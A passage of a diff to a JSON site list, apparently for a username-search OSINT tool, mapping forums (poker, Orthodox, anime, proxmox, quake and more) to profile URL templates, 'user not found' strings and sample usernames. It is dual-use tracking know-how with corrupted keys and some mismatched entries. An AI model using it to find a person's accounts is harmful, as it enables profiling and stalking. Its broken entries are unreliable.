"country_klas": "EU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.pokersrbija.com/u/{}", + "urlMain": "https://forum.pokersrbija.com", + "usernameON": "mim4dayi", + "bad_site": "" + }, + "Forum_pokerus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://pokerus.ru/index/8-0-{}", + "urlMain": "https://pokerus.ru", + "usernameON": "Mult", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_poligon29": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.politik-forum.eu/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.politik-forum.eu", + "usernameON": "Michi", + "bad_site": "" + }, + "Forum_politomsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://politomsk.ru/index/8-0-{}", + "urlMain": "http://politomsk.ru", + "usernameON": "slepuhin198427", + "bad_site": "" + }, + "Forum_polkadot": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.polkadot.network/u/{}/summary", + "urlMain": "https://forum.polkadot.network", + "usernameON": "muddlebee", + "bad_site": "" + }, + "Forum_pominovenieiv": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ponarama.my1.ru/index/8-0-{}", + "urlMain": "https://ponarama.my1.ru", + "usernameON": "realhacking", + "bad_site": "" + }, + "Forum_poodle": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.poodleforum.com/members/?username={}", + "urlMain": "https://www.poodleforum.com/", + "usernameON": "cowpony", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_popasnayalife": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://popasnayalife.at.ua/index/8-0-{}", + "urlMain": "https://popasnayalife.at.ua", + "usernameON": "AlisaBerne", + "bad_site": "" + }, + "Forum_popgun": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://popgun.org/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://popgun.ru", + "usernameON": "igor42", + "comments": "bad", + "bad_site": "" + }, + "Forum_popjustice": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "The specified member cannot be found. Please enter a member's entire name.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.popjustice.com/members/?username={}", + "urlMain": "https://forum.popjustice.com", + "usernameON": "dumper", + "bad_site": "" + }, + "Forum_porcheAU": { + "country": "🇦🇺", + "country_klas": "AU", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://porscheforum.com.au/search/?q={}&quick=1&type=core_members", + "urlMain": "https://porscheforum.com", + "usernameON": "tomo", + "bad_site": "" + }, + "Forum_porka": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://porki.ucoz.ru/index/8-0-{}", + "urlMain": "https://porki.ucoz.ru", + "usernameON": "porki", + "bad_site": "" + }, + "Forum_pornworld": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://pornworld.to/members/?username={}", + "urlMain": "https://pornworld.to", + "usernameON": "popeluka", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_portal-anime": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://portal-anime.ru/index/8-0-{}", + "urlMain": "http://portal-anime.ru", + "usernameON": "SASUKE1744", + "bad_site": "" + }, + "Forum_portirkutsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://portirkutsk.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://portirkutsk.ru", + "usernameON": "Tema28", + "bad_site": "" + }, + "Forum_posol_BLOCK_RU_IP": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://posol.ucoz.ru/index/8-0-{}", + "urlMain": "http://posol.ucoz.ru", + "usernameON": "umtor", + "comments": "bad", + "bad_site": "" + }, + "Forum_postwrestling": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.postwrestling.com/u/{}/summary", + "urlMain": "https://forum.postwrestling.com", + "usernameON": "nealflanagan", + "bad_site": "" + }, + "Forum_potystorony": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://potystorony.ucoz.ru/index/8-0-{}", + "urlMain": "https://potystorony.ucoz.ru", + "usernameON": "zaconnic", + "bad_site": "" + }, + "Forum_pouet": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "registered
403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pravmama.ucoz.ru/index/8-0-{}", + "urlMain": "https://pravmama.ucoz.ru", + "usernameON": "toolni", + "bad_site": "" + }, + "Forum_pravo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://pravo.r1v.ru/index/8-0-{}", + "urlMain": "http://pravo.r1v.ru", + "usernameON": "Arkchloush", + "comments": "bad", + "bad_site": 1 + }, + "Forum_pravoslavie": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://pravoslavie-forum.org/members/?username={}", + "urlMain": "https://pravoslavie-forum.org", + "usernameON": "serg", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pravoslavie-12": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pravoslavie-12.ucoz.ru/index/8-0-{}", + "urlMain": "https://pravoslavie-12.ucoz.ru", + "usernameON": "Admins", + "bad_site": "" + }, + "Forum_pravoslavie-alt": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.pravoslavie-alt.ru/index/8-0-{}", + "urlMain": "https://www.pravoslavie-alt.ru", + "usernameON": "Loginova19", + "comments": "Oplata", + "bad_site": 1 + }, + "Forum_pravoslavielove": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pravoslavielove.ucoz.ru/index/8-0-{}", + "urlMain": "https://pravoslavielove.ucoz.ru", + "usernameON": "Oles", + "bad_site": "" + }, + "Forum_predatel": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://predatel.ucoz.ua/index/8-0-{}", + "urlMain": "https://predatel.ucoz.ua", + "usernameON": "Старлей", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_pregnancy": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Извините, такого пользователя не существует", + "errorMsg2": "robots\" content=\"noindex, nofollow", + "errorMsg3": "Critical Error", + "errorTyp��": "message", + "url": "https://pregnancy.org.ua/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "https://pregnancy.org.ua", + "usernameON": "Nadinka", + "bad_site": "" + }, + "Forum_prepas": { + "country": "🇫🇷", + "country_klas": "FR", + "errorMsg": "Aucun sujet ou message ne correspond à vos critères de recherche.", + "errorMsg2": "Please wait", + "errorMsg3": "Information", + "errorTyp��": "message", + "url": "https://forum.prepas.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.prepas.org", + "usernameON": "red", + "bad_site": "" + }, + "Forum_prepperforums": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.prepperforums.net/members/?username={}", + "urlMain": "https://www.prepperforums.net", + "usernameON": "paraquack", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pressball": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация\n ", + "errorTyp��": "message", + "url": "https://forum.pressball.by/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.pressball.by", + "usernameON": "zalgiris", + "bad_site": 1 + }, + "Forum_pressurewashingresource": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://pressurewashingresource.com/community/u/{}/summary", + "urlMain": "https://pressurewashingresource.com/", + "usernameON": "letterguy", + "bad_site": "" + }, + "Forum_prestashop": { + "country": "🇪🇺", + "country_klas": "EU", + "errorMsg": "0 result", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://www.prestashop.com/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.prestashop.com", + "usernameON": "cmpm", + "bad_site": "" + }, + "Forum_prihoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.prihoz.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.prihoz.ru", + "usernameON": "grawicapa", + "bad_site": "" + }, + "Forum_primat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://primat.org/index/8-0-{}", + "urlMain": "http://primat.org", + "usernameON": "alyonaaaaaa", + "bad_site": "" + }, + "Forum_primetimer": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "There were no results", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.primetimer.com/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://forums.primetimer.com", + "usernameON": "athena", + "comments": "ZAK_user", + "bad_site": "" + }, + "Forum_primhunt": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://primhunt.ru/members/?username={}", + "urlMain": "https://primhunt.ru", + "usernameON": "gap", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_primkoniponi": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>", + "errorMsg2": "hidden\" name=\"quicksearch", + "errorTyp��": "message", + "url": "http://www.priorovod.ru/blog.php?username={}", + "urlMain": "http://www.priorovod.ru", + "usernameON": "topcar77", + "bad_site": "" + }, + "Forum_priroda77": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.privateinvestor2000.com/index/8-0-{}", + "urlMain": "http://www.privateinvestor2000.com", + "usernameON": "olga77kol", + "bad_site": "" + }, + "Forum_prizrak": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "ничего не найдено", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://prizrak.ws/search.php?action=search&keywords=&author={}&forum=&search_in=0&sort_by=0&sort_dir=DESC&show_as=posts&search=%CE%F2%EF%F0%E0%E2%E8%F2%FC", + "urlMain": "https://prizrak.ws", + "usernameON": "Jockers", + "bad_site": "" + }, + "Forum_prizyvnikmoy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://prizyvnikmoy.ru/index/8-0-{}", + "urlMain": "https://prizyvnikmoy.ru", + "usernameON": "t1984n2003", + "bad_site": "" + }, + "Forum_pro-cats": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "url": "http://pro-cats.ru/index/8-0-{}", + "urlMain": "http://pro-cats.ru", + "usernameON": "parrots", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_pro-edu": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pro-edu.ucoz.ru/index/8-0-{}", + "urlMain": "https://pro-edu.ucoz.ru", + "usernameON": "ViMo", + "bad_site": "" + }, + "Forum_pro-kleim": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://pro-kleim.ucoz.ru/index/8-0-{}", + "urlMain": "http://pro-kleim.ucoz.ru/", + "usernameON": "4047916", + "bad_site": "" + }, + "Forum_pro-zarabotok": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://pro-zarabotok.su/index/8-0-{}", + "urlMain": "http://pro-zarabotok.su", + "usernameON": "grusakpavel", + "comments": "bad", + "bad_site": 1 + }, + "Forum_pro100warezz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://pro100warezz.ucoz.ru/index/8-0-{}", + "urlMain": "https://pro100warezz.ucoz.ru", + "usernameON": "jasurbekvideo1987", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_probiv": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://probiv.cc/members/?username={}", + "urlMain": "https://probiv.cc", + "usernameON": "Valerun", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_prodigy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://prodigy.moy.su/index/8-0-{}", + "urlMain": "https://prodigy.moy.su", + "usernameON": "Jap", + "bad_site": "" + }, + "Forum_prodjex": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.prodjex.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.prodjex.com", + "usernameON": "shriyanshi", + "bad_site": "" + }, + "Forum_proekt-gaz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://proekt-gaz.ru/index/8-0-{}", + "urlMain": "http://proekt-gaz.ru", + "usernameON": "gaspar", + "bad_site": "" + }, + "Forum_proekt-ts-ow-wk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://proekt-ts-ow-wk.ucoz.ru/index/8-0-{}", + "urlMain": "https://proekt-ts-ow-wk.ucoz.ru", + "usernameON": "demi", + "bad_site": "" + }, + "Forum_prof": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://prof.forum24.ru/?32-{}", + "urlMain": "https://prof.forum24.ru", + "usernameON": "lahamar", + "bad_site": "" + }, + "Forum_prof-foto-video": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://prof-foto-video.ucoz.ru/index/8-0-{}", + "urlMain": "https://prof-foto-video.ucoz.ru", + "usernameON": "Montager", + "bad_site": "" + }, + "Forum_prof-rem-zona": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://prof-rem-zona.at.ua/index/8-0-{}", + "urlMain": "https://prof-rem-zona.at.ua", + "usernameON": "radopitopit0002", + "bad_site": "" + }, + "Forum_professionalmuscle": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.professionalmuscle.com/forums/index.php?members/&username={}", + "urlMain": "https://www.professionalmuscle.com", + "usernameON": "lk3", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_profile_astro": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://profile.astro-seek.com/{}", + "urlMain": "https://profile.astro-seek.com", + "usernameON": "sduraybito", + "bad_site": "" + }, + "Forum_profootball": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.profootballforums.com/members/?username={}", + "urlMain": "https://www.profootballforums.com", + "usernameON": "rowdy", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_progagarin": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://progagarin.ru/index/8-0-{}", + "urlMain": "http://progagarin.ru", + "usernameON": "Pol", + "bad_site": "" + }, + "Forum_prohashing": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.prohashing.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forums.prohashing.com", + "usernameON": "lewishamilton", + "bad_site": "" + }, + "Forum_project-ss": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://project-ss.ru/index/8-0-{}", + "urlMain": "http://project-ss.ru", + "usernameON": "oleg1980nik", + "comments": "bad", + "bad_site": 1 + }, + "Forum_projectpokemon": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Found 0 results", + "errorMsg2": "There were no results for your search.", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://projectpokemon.org/home/search/?q={}&quick=1&type=core_members", + "urlMain": "https://projectpokemon.org", + "usernameON": "insanenutter", + "bad_site": "" + }, + "Forum_prokireevsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://prokireevsk.ru/index/8-0-{}", + "urlMain": "http://prokireevsk.ru", + "usernameON": "WILDKATbjr", + "bad_site": "" + }, + "Forum_pron": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://pron.my1.ru/index/8-0-{}", + "urlMain": "http://pron.my1.ru/", + "usernameON": "Belryelug", + "bad_site": "" + }, + "Forum_propisnoy": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://prostoljud.my1.ru/index/8-0-{}", + "urlMain": "https://prostoljud.my1.ru", + "usernameON": "biblicalstudiesru", + "bad_site": "" + }, + "Forum_proxmox": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.proxmox.com/members/?username={}", + "urlMain": "https://forum.proxmox.com", + "usernameON": "emunt6", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pskovchess": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.pskovchess.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.pskovchess.ru", + "usernameON": "shakh", + "bad_site": "" + }, + "Forum_psp-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://psp-club.ucoz.net/index/8-0-{}", + "urlMain": "https://psp-club.ucoz.net", + "usernameON": "swp", + "bad_site": "" + }, + "Forum_psp1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://psp1.do.am/index/8-0-{}", + "urlMain": "https://psp1.do.am", + "usernameON": "serg2037", + "bad_site": "" + }, + "Forum_psx-core": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://psx-core.ru/index/8-0-{}", + "urlMain": "https://psx-core.ru", + "usernameON": "pvc1", + "bad_site": "" + }, + "Forum_psxworld": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://psxworld.ru/index/8-0-{}", + "urlMain": "http://psxworld.ru", + "usernameON": "majerock", + "bad_site": "" + }, + "Forum_psy-dv_org": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://psy-dv.org/index/8-0-{}", + "urlMain": "https://psy-dv.org", + "usernameON": "Michael", + "bad_site": "" + }, + "Forum_psych": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.psychforums.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.psychforums.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_psyche": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "возникла проблема", + "errorMsg3": "Пожалуйста, подождите", + "errorTyp��": "message", + "url": "https://psyche.guru/forum/search/?q={}&quick=1&type=core_members", + "urlMain": "https://psyche.guru", + "usernameON": "red", + "bad_site": "" + }, + "Forum_psychobike": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.psychobike.com/members/?username={}", + "urlMain": "https://www.psychobike.com", + "usernameON": "streetfighterz", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_psystan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.psystan.ru/index/8-0-{}", + "urlMain": "http://www.psystan.ru", + "usernameON": "Olsestar", + "bad_site": "" + }, + "Forum_pt_at": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pt.at.ua/index/8-0-{}", + "urlMain": "https://pt.at.ua/", + "usernameON": "novator197726", + "bad_site": "" + }, + "Forum_punkgazetka": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>http://forum.quake2.com.ru :: ", + "errorTyp��": "message", + "url": "https://forum.quake2.com.ru/profile.php?mode=viewprofile&u={}", + "urlMain": "https://forum.quake2.com.ru/", + "usernameON": "Khidalov", + "bad_site": "" + }, + "Forum_quakeworld": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W[а-яА-Я]", + "errorMsg": "not return any result. ", + "errorMsg2": "div class=\"table\" style=\"margin-bottom", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.quakeworld.nu/profiles/?u={}", + "urlMain": "https://www.quakeworld.nu", + "usernameON": "renzo", + "bad_site": "" + }, + "Forum_questionablequesting": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "The specified member cannot be found. Please enter a member's entire name.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.questionablequesting.com/members/?username={}", + "urlMain": "https://forum.questionablequesting.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_quik": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Кудряшов", + "errorMsg2": "указан код пользователя", + "errorTyp��": "message", + "url": "https://forum.quik.ru/user/{}/", + "urlMain": "https://forum.quik.ru", + "usernameON": "swerg", + "comments": "super", + "bad_site": 1 + }, + "Forum_r1": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.r1-forum.com/members/?username={}", + "urlMain": "https://www.r1-forum.com", + "usernameON": "rabbit671", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_r3": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.r3-forums.com/members/?username={}", + "urlMain": "https://www.r3-forums.com", + "usernameON": "renboy", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_r4n": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "сообщений не найдено", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://r4n.su/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "http://r4n.su", + "usernameON": "43Radio43", + "bad_site": "" + }, + "Forum_r4u": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://r4u.ucoz.net/index/8-0-{}", + "urlMain": "https://r4u.ucoz.net", + "usernameON": "adqeep", + "bad_site": "" + }, + "Forum_r6": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.r6-forum.com/members/?username={}", + "urlMain": "https://www.r6-forum.com", + "usernameON": "tylerjones997", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_r8talk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.r8talk.com/members/?username={}", + "urlMain": "https://www.r8talk.com", + "usernameON": "stevekcropper", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ra1afe": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ra1afe.ucoz.ru/index/8-0-{}", + "urlMain": "https://ra1afe.ucoz.ru", + "usernameON": "Admin", + "bad_site": "" + }, + "Forum_ra4a": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + 